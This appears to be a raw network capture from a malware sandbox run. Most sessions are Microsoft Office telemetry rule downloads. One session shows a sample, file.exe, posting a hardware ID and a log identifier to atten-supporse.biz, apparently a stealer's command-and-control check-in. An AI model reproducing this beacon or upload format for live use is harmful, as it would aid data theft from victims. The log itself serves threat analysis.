2024-12-03 16:41:21 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fd8onkfr45ekcec8dl4ft4peii; expires=Sat, 29-Mar-2025 10:27:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A1Ivm8vq%2BcfrJKSqrw7NW9g7xVDLP3o7dd9jV282%2BApeF%2BuuErIJtW2JbaxKFY3Yf1gEvU7n27E%2BNzMh0YpN7Z5Wqn%2B1uOejU03f6MzDCYYOlpndqNtmHMxq3xh6NdQ2Zz4eqYY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec500e1df6642d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&min_rtt=1592&rtt_var=796&sent=18&recv=25&lost=0&retrans=1&sent_bytes=4232&recv_bytes=21364&delivery_rate=72259&cwnd=246&unsent_bytes=0&cid=e0c6bc91b74dea85&ts=2905&x=0"
2024-12-03 16:41:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-03 16:41:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:19 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6ab56c84-d01e-008e-48c7-43387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164119Z-174f7845968nxc96hC1EWRspw8000000160g000000004f25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:19 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:20 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: a11b7610-d01e-00ad-11d5-43e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164119Z-174f784596886s2bhC1EWR743w000000168g00000000a0ws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:20 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:19 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:20 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e94c41b0-301e-0000-6d41-41eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164120Z-174f784596886s2bhC1EWR743w000000166g00000000hav2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:20 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:20 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:20 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: ef6c78e4-401e-0067-2ec7-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164120Z-174f7845968frfdmhC1EWRxxbw00000016a0000000005fb2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:20 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:20 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:20 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:20 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164120Z-174f7845968xr5c2hC1EWRd0hn0000000r1000000000fgr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:20 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:22 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:22 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164122Z-174f7845968kdththC1EWRzvxn0000000kmg000000006933 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:22 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:22 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:22 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 264c510b-001e-000b-0eb2-4215a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164122Z-174f7845968px8v7hC1EWR08ng00000016b000000000v5hr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:22 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:22 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:22 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 3f7caad5-701e-006f-6962-43afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164122Z-174f784596886s2bhC1EWR743w000000168g00000000a0zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:22 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:22 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:22 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164122Z-174f7845968cpnpfhC1EWR3afc00000015xg000000001zc4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:22 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:22 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 16:41:22 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:22 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6eee8137-f01e-0096-4bb4-4210ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T164122Z-174f7845968swgbqhC1EWRmnb400000016ag00000000g7y0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 16:41:22 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49735	104.21.16.9	443	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 16:41:22 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JAOQGWL9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: atten-supporse.biz
2024-12-03 16:41:22 UTC	1184	OUT	Data Raw: 2d 2d 4a 41 4f 51 47 57 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 38 30 38 46 45 37 32 35 33 35 38 37 34 38 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 4a 41 4f 51 47 57 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 41 4f 51 47 57 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4a 41 4f 51 47 57 4c 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --JAOQGWL9Content-Disposition: form-data; name="hwid"49808FE72535874858D6DA241434FD08--JAOQGWL9Content-Disposition: form-data; name="pid"1--JAOQGWL9Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--JAOQGWL9Content-Di
2024-12-03 16:41:25 UTC	1013	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 16:41:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u3d1ebtmea73getga3sevv4v8p; expires=Sat, 29-Mar-2025 10:28:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7cWoMm7QrYzxjZAMOgDNlxS2Bxwf4quqso9prWZVl539BVpIOWFBRqY2lymCocIQdkcbvbpN1t7KAWtWiHsmO9zDV4pmzt4DlY%2BehSkPdJGMb00EZykTzvQ9xp5a5OGku6eQgmQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec500fd9d2d4277-EWR alt-svc: h3=":443"; ma=86400 server-timing: 